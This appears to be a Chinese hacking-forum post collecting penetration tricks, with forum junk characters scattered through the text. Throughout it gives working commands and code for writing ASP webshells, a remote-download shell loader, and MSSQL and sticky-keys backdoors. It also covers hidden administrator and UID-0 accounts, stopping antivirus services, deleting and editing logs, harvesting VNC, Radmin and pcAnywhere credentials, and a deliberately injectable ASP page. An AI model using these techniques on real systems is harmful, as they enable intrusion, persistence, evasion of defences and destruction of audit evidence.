渗透技巧总结

admin

旁站路径问题
! }  i" q  F, B/ V% J1、读网站配置。
2、用以下VBS
% b# e  m% Q7 v$ d; uOn Error Resume Next
" v& R# A# Z- L7 u+ b+ a, e5 ~If (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
: T$ U/ g0 V% `' `; E        
# ?- N! b  Q2 V$ {
" o, q6 z/ K$ c2 c& ZMsgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "
' _0 O  Z0 I- L2 F' Q
Usage:Cscript vWeb.vbs",4096,"Lilo"
        WScript.Quit
' R3 @2 [+ t3 d; @9 sEnd If
- ~& {9 B7 G% _4 ]) k* {  ?; E" @Set ObjService=GetObject
$ r" ~4 c: W; w1 C- T
("IIS://LocalHost/W3SVC")
3 R3 i! b* i, R* L+ y, D6 D0 k; LFor Each obj3w In objservice
( Z! O) D& W$ s& c  e        If IsNumeric(obj3w.Name)

Then
                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
         
# f# o9 Z" o% B6 ~6 ~3 @
6 ]9 s; x! h$ U: J* u       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
: h* L3 U. C! e                If Err

: v( c# `% g) G& ]5 @5 M<> 0 Then WScript.Quit (1)
                WScript.Echo Chr(10) & "[" &

OService.ServerComment & "]"
9 ]+ T0 a4 ]7 t8 i4 p                For Each Binds In OService.ServerBindings
: x! y- `& F1 C8 c" p6 _: g. G" J     
, n) U' F0 g4 r, C' s) U+ n8 |
: K) D5 d1 y3 T                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
                        
) f' U! G. U/ M- S) Y! m
3 y: W& w3 m* k* z* ]! F2 RWScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
                Next
      
8 U" f% Z3 O% F9 _0 R- k7 d& |
) h; }) E  l+ d& R* ^, S         WScript.Echo "ath            : " & VDirObj.Path
) b# I6 j# M3 ]; l* t; i        End If
. J7 u9 y0 U$ i1 a7 C; g/ SNext
复制代码
: ?, j$ Z6 p& i2 B6 `3 s3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
: s1 O' M5 ]/ I9 F2 Z* l4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
—————————————————————
WordPress的平台，爆绝对路径的方法是：
- R- N8 Q# X7 e& q8 e5 |' aurl/wp-content/plugins/akismet/akismet.php
/ G! T" V4 s% a  T( P9 Rurl/wp-content/plugins/akismet/hello.php
——————————————————————
/ F5 ^" O3 U4 ^% P3 E6 |! L  CphpMyAdmin暴路径办法:
% x: X8 A9 f* |" `" V1 |7 l* qphpMyAdmin/libraries/select_lang.lib.php
, t1 |/ m* Y, u+ b, u' YphpMyAdmin/darkblue_orange/layout.inc.php
- Z9 X% M% m: q; EphpMyAdmin/index.php?lang[]=1
( B6 \0 W1 e% ?- u! A6 kphpmyadmin/themes/darkblue_orange/layout.inc.php
————————————————————
" C- K% y: a" g; e3 h; D: d& {网站可能目录(注：一般是虚拟主机类）
data/htdocs.网站/网站/
————————————————————
CMD下操作VPN相关
netsh ras set user administrator permit #允许administrator拨入该VPN
netsh ras set user administrator deny #禁止administrator拨入该VPN
+ E2 ~* i4 A+ ?- B: h4 ynetsh ras show user #查看哪些用户可以拨入VPN
$ N; [0 D- M0 [, h  F0 tnetsh ras ip show config #查看VPN分配IP的方式
; ^* p) q( L& Ynetsh ras ip set addrassign method = pool #使用地址池的方式分配IP
netsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
————————————————————
5 u: Y$ ?; I% h( z2 }命令行下添加SQL用户的方法
3 C% m* L  G2 N2 V需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
& G% E5 @: }, Xexec master.dbo.sp_addlogin test,123
$ V; E" N8 v; T: G8 @EXEC sp_addsrvrolemember 'test, 'sysadmin'
然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry

另类的加用户方法
在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
5 F: w1 F& ~( Ojs:
, J5 k( v# p+ {var o=new ActiveXObject( "Shell.Users" );
z=o.create("test") ;
$ f6 H  h, }, O" U- g9 Q9 x8 ^6 Jz.changePassword("123456","")
z.setting("AccountType")=3;

vbs:
Set   o=CreateObject( "Shell.Users" )
( m2 N$ ?. U; M' g3 @) c# XSet z=o.create("test")
" w5 o: ]4 E- |5 Tz.changePassword "123456",""
z.setting("AccountType")=3
0 B" r' w* P6 J5 `: Q  ^——————————————————
cmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）

命令如下
  ~4 [' Y# Z8 {. {* g$ s/ d$ ucacls c: /e /t /g everyone:F           #c盘everyone权限
. v& z- N, m% R. u6 T% ]cacls "目录" /d everyone               #everyone不可读，包括admin
6 |* L8 |" B8 B————————以下配合PR更好————
7 B4 w7 K: m, r. h) `6 b0 ]3389相关
4 Q$ D) i1 T9 ]& i; p0 D: P  w8 ja、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
' ^  C& S' z  }0 ]. Db、内网环境（LCX）
/ F1 Z3 Y4 n% i) o( c( s4 xc、终端服务器超出了最大允许连接
XP 运行mstsc /admin
2003 运行mstsc /console   
, `. X9 i7 g: Z# {( y# Y
杀软关闭（把杀软所在的文件的所有权限去掉）
- {, ^! }: {! M2 l3 i处理变态诺顿企业版：
8 X/ v. B. S+ F7 Y& Anet stop "Symantec AntiVirus" /y
) D9 f/ r7 T- ]/ Nnet stop "Symantec AntiVirus Definition Watcher" /y
net stop "Symantec Event Manager" /y
& I2 J* x; M- H+ o+ A/ O! {0 L% snet stop "System Event Notification" /y
net stop "Symantec Settings Manager" /y

卖咖啡：net stop "McAfee McShield"
————————————————————
+ i3 s+ W) C$ F0 c2 D* i
5次SHIFT：
% f1 k7 D1 q& y$ @copy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
copy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
copy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
——————————————————————
隐藏账号添加：
1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
2、导出注册表SAM下用户的两个键值
+ N" N' H  b8 |0 u; U3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
2 u% L9 K4 s* `) X4、利用Hacker Defender把相关用户注册表隐藏
, a# [4 {+ ~5 S( u/ l- B3 E——————————————————————
MSSQL扩展后门：
4 F2 t* ~; Q* P8 S8 ^USE master;
EXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
+ S8 ]0 c# W1 O3 {GRANT exec On xp_helpsystem TO public;
( u6 g* w4 x6 S5 |# T———————————————————————
日志处理
C:\WINNT\system32\LogFiles\MSFTPSVC1>下有
ex011120.log / ex011121.log / ex011124.log三个文件，
直接删除 ex0111124.log
不成功，“原文件...正在使用”
当然可以直接删除ex011120.log / ex011121.log
用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
当停止msftpsvc服务后可直接删除ex011124.log

6 C4 j0 o! G; q+ M" v0 t4 r( lMSSQL查询分析器连接记录清除：
MSSQL 2000位于注册表如下：
HKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
* v+ Z5 K% y- x3 X找到接接过的信息删除。
$ d( r  m6 [4 O6 vMSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL
. t. P( X5 ^6 ~  q+ ]
Server\90\Tools\Shell\mru.dat
4 `1 v) {" @$ w* E5 O$ O% z) ~# c—————————————————————————
, z0 z* n& J; X9 @: r" |& M. P; S防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）
/ ~- e: o0 l* X& P5 w- S
<%
Sub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
; X+ M; u( C, F: g  rDim Ads, Retrieval, GetRemoteData
On Error Resume Next
Set Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
/ u8 o, ?9 S$ i) K4 mWith Retrieval
.Open "Get", s_RemoteFileUrl, False, "", ""
: p1 W. w6 Z$ p; |! @+ c.Send
GetRemoteData = .ResponseBody
: V' P& ?( Q0 Y6 fEnd With
  r& Z! l+ n6 \- A- ESet Retrieval = Nothing
5 ]. r3 z3 @8 r/ xSet Ads = Server.CreateObject("Adodb.Stream")
With Ads
- ~! A+ }* D$ J- _! H1 m.Type = 1
.Open
' Q' e6 H& }. o2 d4 Y4 w.Write GetRemoteData
.SaveToFile Server.MapPath(s_LocalFileName), 2
( I% E! I' z& \$ y1 x.Cancel()
.Close()
End With
Set Ads=nothing
. a9 V  y5 k* @& u1 ~0 n- \End Sub
+ f& |4 H7 e2 j) g! q# c
- j/ B9 s- ~7 J0 VeWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
%>

/ l8 ]0 y: P9 L! o/ y% m' jVNC提权方法:
利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
' \  E0 v4 q, [. ]0 cregedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
4 g+ a. r( _1 S3 pregedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
Radmin 默认端口是4899，
3 [5 A3 w- J9 _$ G+ i6 L" EHKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
, u/ V/ V  I, Z) N+ i( h然后用HASH版连接。
8 h2 Q3 ?/ r& r如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
( K+ i! v- u! [+ b0 h8 ^保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
Users\Application Data\Symantec\pcAnywhere\文件夹下。
" p6 i7 ], l4 ?& H) p——————————————————————
* |) s8 K6 k: W5 B- B) R% r2 Y( z8 K搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
  G- D  {+ M2 f! F, Y* o  m  f9 `——————————————————----------
WinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
" N# C6 r9 C) @8 Y没有删cmd组建的直接加用户。
7i24的web目录也是可写，权限为administrator。

0 n' ^' X" Y: [/ ~/ F  ~- E1433 SA点构建注入点。
1 ^) M3 d# Z8 V<%
- a, A; c* M4 S7 dstrSQLServerName = "服务器ip"
7 m: e& ~0 {  g- }8 b4 BstrSQLDBUserName = "数据库帐号"
5 a$ e6 Z4 Q0 r6 [strSQLDBPassword = "数据库密码"
. X/ N6 k% i1 e  P2 t* XstrSQLDBName = "数据库名称"
0 ?' ?+ G$ p  W$ ^( i8 T' a8 L+ tSet conn = Server.createObject("ADODB.Connection")
+ p8 Y: h) x1 r, \% ~0 T% YstrCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &
/ y, u: B. F, _& @  p7 t% D
+ K8 ?% ~# `3 U# M";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &

* D& i, T4 z' bstrSQLDBName & ";"
conn.open strCon
dim rs,strSQL,id
set rs=server.createobject("ADODB.recordset")
# C" T* |) K" ^$ J' Mid = request("id")
2 K5 W/ [) `* N. L# v! T9 y' @4 QstrSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
, K. n- v) K: H1 xrs.close
%>
- l- ~1 P+ P& Z) @- w; G复制代码
******liunx 相关******
. |1 j8 c: V& h% j一.ldap渗透技巧
0 Q: \/ {% k, l. |# |- X1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式
, U5 G' u1 U7 C% G, R
2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
" u# z3 d4 x' e2 J/ C找到ou,dc,dc设置

6 s0 k; R/ a) A# }1 o3.查找管理员信息
匿名方式
3 ^3 @: f6 C9 t0 Dldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
! D7 q4 a' U( i2 Q  m
% d8 d: V! R# s% _. d9 X8 z"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
$ G, m. G  Z; G2 X$ }8 e

) v# n2 d5 W4 P) {4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
0 o' h4 k5 n0 B/ }' N7 t8 N
, ?* w8 N- ^0 ^8 _' W* T. O实战:
; ?6 W% c$ A( K1 j9 ?3 h+ @1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式

2.less /etc/ldap.conf
1 L4 [; m2 N8 I8 r( Zbase ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置

3.查找管理员信息
/ a+ O% |# X/ e9 i# ]匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

( L2 @3 _3 E/ c+ X"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
. h9 l  v4 n9 {8 T: _有密码形式
: C& V: ]8 C& R4 h2 [ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
3 ~8 `9 t3 s, \
"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2


4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

渗透实战:
1.返回所有的属性
% v8 C" ?0 h- U2 Q% j: ~ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
version: 1
dn: dc=ruc,dc=edu,dc=cn
dc: ruc
objectClass: domain

dn: uid=manager,dc=ruc,dc=edu,dc=cn
uid: manager
objectClass: inetOrgPerson
objectClass: organizationalPerson
objectClass: person
2 f% H/ g1 a1 {* @3 kobjectClass: top
' [: h9 v9 c% C" [" Fsn: manager
2 K$ M- p, l1 d" e4 C# h# M! Z2 Acn: manager

8 E% J! F/ l7 Y, K1 y9 bdn: uid=superadmin,dc=ruc,dc=edu,dc=cn
1 b" p7 q7 T' P/ o5 ?$ H+ l/ cuid: superadmin
. H  Z+ ?- u# }' j0 m- A/ UobjectClass: inetOrgPerson
objectClass: organizationalPerson
objectClass: person
objectClass: top
sn: superadmin
cn: superadmin

dn: uid=admin,dc=ruc,dc=edu,dc=cn
. z. `2 r- t$ [uid: admin
objectClass: inetOrgPerson
6 T) n+ [# k/ [/ JobjectClass: organizationalPerson
6 M- u8 Z. n  xobjectClass: person
objectClass: top
sn: admin
cn: admin

dn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
uid: dcp_anonymous
objectClass: top
9 P- O5 C8 O" W; h' N: XobjectClass: person
5 ]8 X2 Z' l* y! k) R3 X" b$ XobjectClass: organizationalPerson
4 x. U0 w, J$ u0 F8 Z2 t! iobjectClass: inetOrgPerson
$ O% j4 I) C5 P0 U% Msn: dcp_anonymous
cn: dcp_anonymous
! H7 @4 t6 {9 C
. }1 }1 V* b5 A+ r2.查看基类
bash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |
' i1 G4 I2 Z/ c; S9 \7 ?6 ^" S
5 Z3 k5 f) f* x# C. amore
version: 1
' _4 R' `* _. q! _' I  Z6 jdn: dc=ruc,dc=edu,dc=cn
. ~# Z* k' j+ b- D& z! j2 }% c: H" F) x! ?dc: ruc
objectClass: domain
$ s+ t7 P+ _  p2 ]2 K9 Y) T
3.查找
bash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
% z; q) }5 d0 B* jversion: 1
( T- g0 a6 [4 D+ T" O. O. D; xdn:
' n: |& l$ W, o  `" n9 MobjectClass: top
/ m. x3 I0 E1 [namingContexts: dc=ruc,dc=edu,dc=cn
( z6 G8 Y/ ^3 n; |7 YsupportedExtension: 2.16.840.1.113730.3.5.7
supportedExtension: 2.16.840.1.113730.3.5.8
& X- B; v; W* M- EsupportedExtension: 1.3.6.1.4.1.4203.1.11.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
- Z3 |* Z# {: P7 S0 XsupportedExtension: 2.16.840.1.113730.3.5.3
; [4 l! `  N2 e# N' {9 s7 o1 QsupportedExtension: 2.16.840.1.113730.3.5.5
& x& \+ v/ |8 @% J; m+ ~supportedExtension: 2.16.840.1.113730.3.5.6
supportedExtension: 2.16.840.1.113730.3.5.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
$ {: A: k: D4 tsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
6 c; E3 [5 l' d2 ^  N# G% \6 psupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
- @  k4 B7 J4 s& osupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
& h2 q6 q/ n" \/ V1 X3 m# usupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
, [# X/ |1 q( [- PsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
' F9 S5 U' X3 Z1 Z9 y8 G9 A" @( psupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
8 V. m! p- @$ N) J! I1 jsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
9 P/ I+ m/ y% ~, DsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
: y7 D+ ^' _2 l5 L; b2 w8 psupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
* h/ D4 V0 G$ ^5 |( S) NsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
5 f% ?* H; L: e0 C! PsupportedExtension: 1.3.6.1.4.1.1466.20037
% q  j# T; ?5 T0 LsupportedExtension: 1.3.6.1.4.1.4203.1.11.3
7 R( c( z; n' PsupportedControl: 2.16.840.1.113730.3.4.2
2 [% ]2 T8 W" ssupportedControl: 2.16.840.1.113730.3.4.3
+ G3 N; f6 u0 Y4 }supportedControl: 2.16.840.1.113730.3.4.4
3 q5 E0 d* U, Z4 s3 LsupportedControl: 2.16.840.1.113730.3.4.5
supportedControl: 1.2.840.113556.1.4.473
supportedControl: 2.16.840.1.113730.3.4.9
supportedControl: 2.16.840.1.113730.3.4.16
supportedControl: 2.16.840.1.113730.3.4.15
0 d% B7 A1 S  }% q* Q4 XsupportedControl: 2.16.840.1.113730.3.4.17
supportedControl: 2.16.840.1.113730.3.4.19
. U4 k" m$ y) M/ b$ \$ e# ]  L  y* fsupportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
; o' Z8 c4 W! V; ?' x; k7 h- I7 ?8 psupportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
; `, a% y: @# |! ?4 F2 }supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
  v. b7 b, y/ T2 m& gsupportedControl: 2.16.840.1.113730.3.4.14
supportedControl: 1.3.6.1.4.1.1466.29539.12
  r( H# k  {7 W. w5 esupportedControl: 2.16.840.1.113730.3.4.12
9 s0 R7 T& `; R, xsupportedControl: 2.16.840.1.113730.3.4.18
8 M9 L& |$ P# m( YsupportedControl: 2.16.840.1.113730.3.4.13
supportedSASLMechanisms: EXTERNAL
supportedSASLMechanisms: DIGEST-MD5
supportedLDAPVersion: 2
supportedLDAPVersion: 3
vendorName: Sun Microsystems, Inc.
/ z! _: g5 o) V! v+ U" _. OvendorVersion: Sun-Java(tm)-System-Directory/6.2
$ m8 e, m  W4 O8 S, y  y( Mdataversion: 020090516011411
netscapemdsuffix: cn=ldap://dc=webA:389
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
6 J; n' [7 I! _* i+ rsupportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
" ^# }8 u8 t' ~  s7 C4 v( w, q, {supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
# d1 |: s0 \$ m! `! _: i9 c2 psupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
( s, J! |% r, W7 ]8 z6 F0 t" CsupportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
$ \  q  t9 V$ rsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
8 l- U* I0 S+ P! {6 R) csupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
) R3 A  |  w/ ?( p9 SsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
" Z+ b; ~0 S/ b# r% @  V5 UsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
) [0 l$ ^& e* t9 J; K# S; c* s: OsupportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
. q5 J( z8 J3 W3 J& VsupportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
% |7 b% ?1 L6 H" ?6 F* ysupportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
% @- A. S9 j# s4 f- C- O! ]' DsupportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
. F) l. |. [9 r; W6 o: \! w* GsupportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
1 ?5 A4 s( A" H0 a% Z1 EsupportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
3 r2 b: U0 C6 P/ t9 KsupportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
; X3 k% u/ L7 l, z* K  \supportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
1 b' y2 n: a/ @4 M+ t4 w0 BsupportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
% w* k9 l- t) |# OsupportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
: {  T! X) z5 i/ o) |. b$ `supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
2 |/ J# u" B. |: B1 d" w1 E1 usupportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
; s7 \; f' d. r1 a! Q# usupportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
supportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
& x& c! l# z, d* u5 ^/ q" [supportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
+ `$ S' Y( R' h" c9 XsupportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
) z& Q, |; [/ L) C6 P9 R; ?supportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
( Q, W* h, g8 B+ {& h6 _9 y  X7 }supportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
( K! N6 C! t' ~3 q/ o6 L4 y————————————
, @+ R$ _0 R  K: `7 @7 ^2. NFS渗透技巧
2 Y8 `4 V) ~5 a- X. wshowmount -e ip
- D* ^5 C' n  R# U' A* m: @1 ~. _- i列举IP
——————
3.rsync渗透技巧
: ]$ P4 D2 y  }* T" {( K1 w' A$ a' @1.查看rsync服务器上的列表
rsync 210.51.X.X::
finance
0 H3 |# X! C& }" l8 f0 nimg_finance
auto
- l- ~( Y0 u/ s$ ]" qimg_auto
2 A% U6 v' E8 G; Ihtml_cms
  y: z- U& m3 K% Gimg_cms
& Z; o2 `, J! Qent_cms
5 I  m0 ]. t; I7 X& D6 cent_img
# Q2 u$ I# \+ r  U( L6 R; f* k5 F& Oceshi
% |! \: Y: n0 n& x# u3 D9 l+ J/ v4 V5 Dres_img
) {9 Q6 u1 k' vres_img_c2
7 a4 Y8 a/ x, p7 [+ Wchip
9 N  s) ]8 {8 P" g( O$ Vchip_c2
ent_icms
2 \6 O0 Y. L3 Q( M" }0 N% Ggames
- w$ l8 o, B' ^1 Y6 sgamesimg
$ C  c9 g) |* a- [3 f! Nmedia
- c/ f8 o- h) M5 U) F( Jmediaimg
fashion
9 n0 c1 B# {9 z5 {8 ^2 zres-fashion
5 Y& B/ m% x& _. `8 Dres-fo
3 H$ m/ S, b1 M0 U; Qtaobao-home
res-taobao-home
8 A# w; M" ?$ C) ]3 X% d/ _' ^) Qhouse
7 }0 L+ a( t. T  }5 dres-house
& g" `  _- f5 ]* U0 Xres-home
; f7 h3 p+ P; J; u9 Z0 @res-edu
, G# b' m) i" Z' Z5 ~" `( _! A# {res-ent
res-labs
& |& f" ^! s  Cres-news
+ N6 E  _' v7 Tres-phtv
res-media
home
edu
news
3 X. a3 E1 ~" L' o; w5 d( N5 zres-book

看相应的下级目录(注意一定要在目录后面添加上/)

8 |  J0 \4 }  D2 I; F! {) W
rsync 210.51.X.X::htdocs_app/
! ^5 Y; c+ Q4 e* B- ursync 210.51.X.X::auto/
rsync 210.51.X.X::edu/

- _4 p: i0 p; ^- I2.下载rsync服务器上的配置文件
1 T! _# q3 V8 F5 z4 Irsync -avz 210.51.X.X::htdocs_app/ /tmp/app/
5 ]* C5 ]& J" s: h
* `& i" ^$ K  `3 G, I3.向上更新rsync文件(成功上传,不会覆盖)
2 F! z1 r/ P, H0 X$ J, jrsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
http://app.finance.xxx.com/warn/nothack.txt
% R5 R3 n1 t+ l) J' [0 |; H
* M/ d- I( u1 Y1 a! Y6 N8 N7 D四.squid渗透技巧
7 n6 t2 L4 a7 v& R8 Y9 {8 t' D/ G# a4 `nc -vv baidu.com 80
7 \4 O8 a5 m2 k) W" P6 QGET HTTP://www.sina.com / HTTP/1.0
GET HTTP://WWW.sina.com:22 / HTTP/1.0
0 @: m) n" A# l- y( e, F2 d0 F; C五.SSH端口转发
+ n: I/ c! A) }9 u3 q7 Bssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip
  }  [' {; y1 K
六.joomla渗透小技巧
确定版本
index.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-

15&catid=32:languages&Itemid=47
( U) x& Q! t3 Z( s
/ I: ?( n# f. l) E  c重新设置密码
index.php?option=com_user&view=reset&layout=confirm

* Z; u' c  J# r" z+ u: J七: Linux添加UID为0的root用户
useradd -o -u 0 nothack

' i9 ^) O( A# n3 ?2 m* }八.freebsd本地提权
" l. d0 Q7 Z! o" [5 x* f/ x- g[argp@julius ~]$ uname -rsi
